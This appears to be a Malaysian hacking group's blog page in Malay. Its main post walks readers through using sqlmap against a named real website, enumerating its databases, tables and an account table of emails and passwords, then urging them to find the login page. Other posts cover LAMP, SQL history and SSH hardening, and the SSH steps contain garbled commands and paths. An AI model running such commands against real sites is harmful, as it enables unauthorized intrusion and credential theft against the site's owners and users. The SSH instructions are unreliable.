SqlMap Tutorials

Assalamualaikum semua, okk. kali ni admin nak ajar cara2 guna SqlMaps~ 
Okkk, jom start :)

sebelum tu, barang2 yang korang perlu ade

1 ) Python 2.7 (✎ Klik sini untuk download )

2 ) Sqlmap (✎ Klik sini untuk download)

3 ) CMD (sama je dengan command prompt)

4 ) vuln website

Semua benda dah ready? okkk
▸Firstly, pergi ke Local Disk C, then. buat satu folder dan namakan ' SqlMaps '
▸Sekarang extract file SqlMaps yang kite dah download tady ke dalam folder ' SqlMaps '

Orite?
Now, buka CMD
untuk kali ni, admin akan menggunakan vuln website contoh : http://www.mmbuildings.com/newsitem.php?id=61

Okay? kemudian, pergi ke CMD dan type
c:\sqlmap\sqlmap.py -u http://www.mmbuildings.com/newsitem.php?id=61

okayy skarang kalau mengikut website yang admin pilih tadi akan keluar dua option iaitu Y/N
Now, Type ' N '

sekarang SqlMaps akan automatik shutdown

Try yang ni pulak

c:\sqlmap\sqlmap.py -u http://www.mmbuildings.com/newsitem.php?id=61 --dbs

kalau korang ikut step by step anda sepatutnya akan dapat database
Database yang admin dapat contoh :

*mm_mm
*information_schema ← yang ni kita buang
▸Jadi kita akan pilih → *mm_mm ←

Taktau macam mana nak pilih?

Taip:  c:\sqlmap\sqlmap.py -u http://www.mmbuildings.com/newsitem.php?id=61 -D mm_mm --tables

Tunggu dia scan sampai habis. Kemudian kita akan nampak table :)

Jadi skarang admin akan pilih tables account (ingat setiap website mempunyai tables yang berlainan)

Taip kat CMD : c:\sqlmap\sqlmap.py -u http://www.mmbuildings.com/newsitem.php?id=61 -D mm_mm -T account --columns

Yeahh. Sekarang dah nampak 3 columns iaitu email id login access dan password!

Pastu nak buat apa?  Pikir2 lahh sendiri :v. keh keh~ (cari la login page n Enjoy!) :)

Read more »

Apa itu LAMP ?

Asalammualaikum & Selamat Sejahtera

Apa itu LAMP? 

Merupakan sebuah pakej perisian open source yang digunakan untuk menjalankan sebuah aplikasi secara lengkap. Mungkin anda pernah mendengar istilah XAMPP, kegunaan LAMP hampir sama dengan XAMPP atau WAMP. LAMP baik untuk prestasi dan keselamatan, XAMPP baik untuk pembangunan dan mudah alih sedangkan mungkin WAMP mempunyai antara muka yang baik dan mudah pemasangan (sesuai bagi anda yang tidak mahu belajar linux).Dikata ia berjalan di localhost di browser anda sekiranya anda memasang LAMP di komputer anda.

Komponen-komponen dari LAMP:

1.Linux sebagai sistem operasi

2.Apache HTTP Server sebagai web server

3.MySQL sebagai sistem pangkalan data

4.Perl atau PHP atau Pyton sebagai bahasa pengaturcaraan yang dipakai

Sekian Terima Kasih

#Encik Ubuntu (LINUX USER)

Read more »

Secure SSH di Ubuntu Server

As-Salamualaikum...

Pada hari ini penulis akan menunjukkan cara-cara menjaga 'Shell' anda dari diserang oleh hejes.

seperti semua sedia maklum bahawa port default SSH adalah 22.Apabila anda sedang anda sedang menggunakan SSH kemungkinan ada hejes sedang melakukan scanning pada server Ubuntu anda untuk brute-force.Jadi mari kita cegah hejes dari show off hasil dia brute-force di facebook ^_^

1- Login vps anda.

ssh root@127.0.0.1

2- Edit config file using nano or vim

apt-get install nano

nano /etc/ssh/sshd config

3- Ganti port default

Korang cari sampai jumpa line ini

#port 21

gantikan dengan port yg lain dan save contohnya

#port 4000

4- Reload

/etc/init.d/restart ssh

5- Mencuba port yg baru

ssh root@127.0.0.1 -p 4000

P/S: Cara ini akan mencegah hejes dari brute-force secure shell anda :D

-Sekian-

Read more »

Maksud SQL(structured query language)

Hari ni nk buat sedikit penerangan maksud SQL ^^

Apa itu SQL:

SQL adalah singkatan bagi Structured Query Language.Versi pertama SQL ni dikembangkan oleh IBM di awal tahun 1970 yang diberi nama awal system R.

System R ini dibangunkan berdasar paper milik Edgar.F.Codd.Pertama kali mereka memberikan nama SEQUEL(Structured English Query Language),bahasa ini dicipta untuk mengatur System R,sampai sekarang pun SQL disebut dengan "sequel"

*untuk lebih maklumat silakan melawat google*

Read more »

About This Website

Asslamualaikum..... Semua Kawan Yang Men-Follow Website Ini..kami Ingin Mengucapkan Ribuan Terima Kasih . Kami Harap Anda Semua Menyokong Kami.



                                                           Warning!!!!!!


Segala Toturial Disini Adalah Untuk Tujuan Pembelajaran Sahaja. Sebarang Kerosakan Tanggungjawab Anda Sendiri .Admin Tidak Akan Bertanggungjawab Atas Kerosakan Anda!

                                                        Harap Maklum!!


                                                 We Are Negeri9 Cyber Team
                                                           We  No Pro
                                                                 But
                                                          We Can Be Pro 
                                                         No system Is Safe
                                                We Are Hacker from Malaysia 

Read more »